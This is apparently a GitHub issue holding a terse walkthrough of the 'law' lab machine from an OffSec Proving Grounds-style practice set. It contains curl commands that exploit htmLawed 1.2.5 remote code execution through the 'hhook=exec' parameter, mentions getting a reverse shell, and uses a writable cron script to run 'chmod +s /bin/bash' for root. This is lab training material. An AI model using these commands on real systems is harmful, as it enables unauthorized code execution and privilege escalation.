WDavid404 / PG-Box

PG box workthough note
0 stars 0 forks source link

law (Intermediate, linux, 2023) #37

Open WDavid404 opened 3 months ago

WDavid404 commented 3 months ago

Keypoints:

WDavid404 commented 3 months ago
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))

80/tcp --> HTMLAWED 1.2.5 image exploit info search for HTMLAWED 1.2.5 --> https://www.exploit-db.com/exploits/52023 (htmlLawed 1.2.5 - Remote Code Execution (RCE))

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/' -->

curl -s -d "sid=foo&hhook=exec&text=whoami" -b "sid=foo" 192.168.214.190 -x 127.0.0.1:8080 --> image then, image image --> got a reverse shell successfully. image

PE

linpeas --> didn't find interesting thing pspy64 --> image we can edit /var/www/cleanup.sh file image

Run echo "chmod +s /bin/bash" > /var/www/cleanup.sh After a while, we can see: image image